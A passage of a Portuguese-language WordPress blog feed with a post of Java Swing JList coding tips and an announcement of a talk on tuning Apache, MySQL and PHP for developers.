			<wfw:commentRss>http://dpasqua.wordpress.com/2011/12/22/java-tips-passando-tipos-primitivos-por-referencia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a1d7c8b046b40388a15342b7b0b2b45b?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">pasquati</media:title>
		</media:content>
	</item>
		<item>
		<title>Java Tips: Usando JList</title>
		<link>http://dpasqua.wordpress.com/2011/12/20/java-tips-usando-jlist/</link>
		<comments>http://dpasqua.wordpress.com/2011/12/20/java-tips-usando-jlist/#comments</comments>
		<pubDate>Tue, 20 Dec 2011 20:33:27 +0000</pubDate>
		<dc:creator>pasquati</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://dpasqua.wordpress.com/?p=2051</guid>
		<description><![CDATA[Neste POST reuni várias dicas relacionadas ao componente JList do Java. São dicas úteis que me ajudaram a criar funcionalidades importantes em uma aplicação que estou desenvolvendo. Tive que pesquisar várias fontes para descobrir todas essas dicas, portanto resolvi reuni-las em um único lugar para ajudar outros desenvolvedores. Criando JList básico com alguns itens: Adicionando [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2051&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Neste POST reuni várias dicas relacionadas ao componente JList do Java. São dicas úteis que me ajudaram a criar funcionalidades importantes em uma aplicação que estou desenvolvendo. Tive que pesquisar várias fontes para descobrir todas essas dicas, portanto resolvi reuni-las em um único lugar para ajudar outros desenvolvedores.</p>
<p><em>Criando JList básico com alguns itens:</em><br />
<pre class="brush: java;">
DefaultListModel model = new DefaultListModel();
JList list = new JList(model);

model.add(0, &quot;item 1&quot;);
model.add(1, &quot;item 2&quot;);
model.add(2, &quot;item 3&quot;);
</pre></p>
<p><em>Adicionando dados no final do JList de forma dinâmica:</em><br />
<pre class="brush: java;">
DefaultListModel model = (DefaultListModel) list.getModel();
model.add(model.getSize(), &quot;item final&quot;);
</pre></p>
<p><em>Adicionando dados no começo do JList de forma dinâmica:</em><br />
<pre class="brush: java;">
DefaultListModel model = (DefaultListModel) list.getModel();
model.add(0, &quot;item começo&quot;);
</pre></p>
<p><em>Inserindo scroll para o JList:</em><br />
<pre class="brush: java;">
DefaultListModel model = new DefaultListModel();
JList list = new JList(model);

// adicionar dados no list
// ..
//scroll
JScrollPane jscroll = new JScrollPane(list);
</pre></p>
<p><em>Enviando scroll para o final automaticamente:</em><br />
<pre class="brush: java;">
DefaultListModel model = new DefaultListModel();
JList list = new JList(model);

// adicionar dados no list
// ..
//scroll
JScrollPane jscroll = new JScrollPane(list);

jscroll.getVerticalScrollBar().addAdjustmentListener(new AdjustmentListener() {  
	public void adjustmentValueChanged(AdjustmentEvent e) {  
	     e.getAdjustable().setValue(e.getAdjustable().getMaximum());  
}});
</pre></p>
<p><em>Limpando itens do JList:</em><br />
<pre class="brush: java;">
// limpando todo o Jlist
list.setModel(new DefaultListModel());

// limpando todo o JList de outra forma
DefaultListModel model = (DefaultListModel) list.getModel();
model.clear();

// removendo o segundo item do list
mode.remove(1);

// removendo o ultimo item do list
int pos = model.getSize() - 1;
if (pos &gt;= 0) {
    model.remove(pos);
}
</pre></p>
<p><em>Substituíndo itens:</em><br />
<pre class="brush: java;">
DefaultListModel model = (DefaultListModel) list.getModel();
model.set(0, &quot;Reescrevendo o primeiro item do list&quot;);
</pre></p>
<p><em>Selecionando itens no List:</em><br />
<pre class="brush: java;">
// selecionando o primeiro item
list.setSelectedIndex(0);

// selecionando o ultimo item do list
DefaultListModel model = (DefaultListModel) list.getModel();
list.setSelectedIndex(model.getSize() - 1);

//limpando seleções
list.clearSelection();
</pre></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dpasqua.wordpress.com/2051/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dpasqua.wordpress.com/2051/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/dpasqua.wordpress.com/2051/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/dpasqua.wordpress.com/2051/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/dpasqua.wordpress.com/2051/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/dpasqua.wordpress.com/2051/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/dpasqua.wordpress.com/2051/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/dpasqua.wordpress.com/2051/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/dpasqua.wordpress.com/2051/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/dpasqua.wordpress.com/2051/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/dpasqua.wordpress.com/2051/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/dpasqua.wordpress.com/2051/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/dpasqua.wordpress.com/2051/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/dpasqua.wordpress.com/2051/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2051&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dpasqua.wordpress.com/2011/12/20/java-tips-usando-jlist/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a1d7c8b046b40388a15342b7b0b2b45b?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">pasquati</media:title>
		</media:content>
	</item>
		<item>
		<title>Palestra no CISL dia 8/12</title>
		<link>http://dpasqua.wordpress.com/2011/12/05/palestra-no-cisl-dia-812/</link>
		<comments>http://dpasqua.wordpress.com/2011/12/05/palestra-no-cisl-dia-812/#comments</comments>
		<pubDate>Mon, 05 Dec 2011 11:21:31 +0000</pubDate>
		<dc:creator>pasquati</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://dpasqua.wordpress.com/?p=2036</guid>
		<description><![CDATA[Próximo dia 8 de Dezembro, quinta-feira, irei apresentar mais uma palestra técnica no CISL (Comitê de Implementação de Software Livre). O tema da palestra será Tuning Apache/MySQL e PHP para Desenvolvedores. Abaixo mais detalhes sobre a palestra. &#8220;A palestra será transmitida a partir do auditório do Serpro da regional São Paulo, para acompanhar é possível [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2036&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Próximo dia 8 de Dezembro, quinta-feira, irei apresentar mais uma palestra técnica no CISL (Comitê de Implementação de Software Livre). O tema da palestra será <strong>Tuning Apache/MySQL e PHP para Desenvolvedores</strong>. Abaixo mais detalhes sobre a palestra.</p>
<p>&#8220;A palestra será transmitida a partir do auditório do Serpro da regional São Paulo, para acompanhar é possível comparecer presencialmente no local da palestra, ou então acompanhar por vídeo streaming livre do Serpro&#8221;.</p>
<p>Para maiores informações acessar:<br />
<a href="http://www.softwarelivre.gov.br/eventos/tuning-apache-mysql-e-php-para-desenvolvedores/" target="_blank">http://www.softwarelivre.gov.br/eventos/tuning-apache-mysql-e-php-para-desenvolvedores/</a></p>
<p>Detalhes da Palestra:</p>
<p><strong>Tuning Apache/MySQL/PHP para Desenvolvedores</strong></p>
<ul>
<li>Introdução</li>
<li>Apache</li>
<ul>
<li>AllowOverride</li>
<li>ExtendedStatus</li>
<li>SymLinks</li>
<li>KeepAlive</li>
<li>MaxClients</li>
</ul>
<li>MySQL</li>
<ul>
<li>Monitorando consultas lentas</li>
<li>max_connections</li>
<li>query_cache_size</li>
<li>thread_cache_size</li>
</ul>
<li>PHP</li>
<ul>
<li>Identificando gargalos</li>
<li>memcached</li>
<li>Aceleradores de código</li>
<li>APC (Alternative PHP Cache)</li>
<li>Caching com Zend_Cache</li>
<li>Computação em Nuvem</li>
</ul>
</ul>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dpasqua.wordpress.com/2036/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dpasqua.wordpress.com/2036/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/dpasqua.wordpress.com/2036/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/dpasqua.wordpress.com/2036/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/dpasqua.wordpress.com/2036/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/dpasqua.wordpress.com/2036/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/dpasqua.wordpress.com/2036/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/dpasqua.wordpress.com/2036/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/dpasqua.wordpress.com/2036/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/dpasqua.wordpress.com/2036/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/dpasqua.wordpress.com/2036/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/dpasqua.wordpress.com/2036/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/dpasqua.wordpress.com/2036/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/dpasqua.wordpress.com/2036/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2036&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dpasqua.wordpress.com/2011/12/05/palestra-no-cisl-dia-812/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a1d7c8b046b40388a15342b7b0b2b45b?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">pasquati</media:title>
		</media:content>
	</item>
	</channel>
</rss>
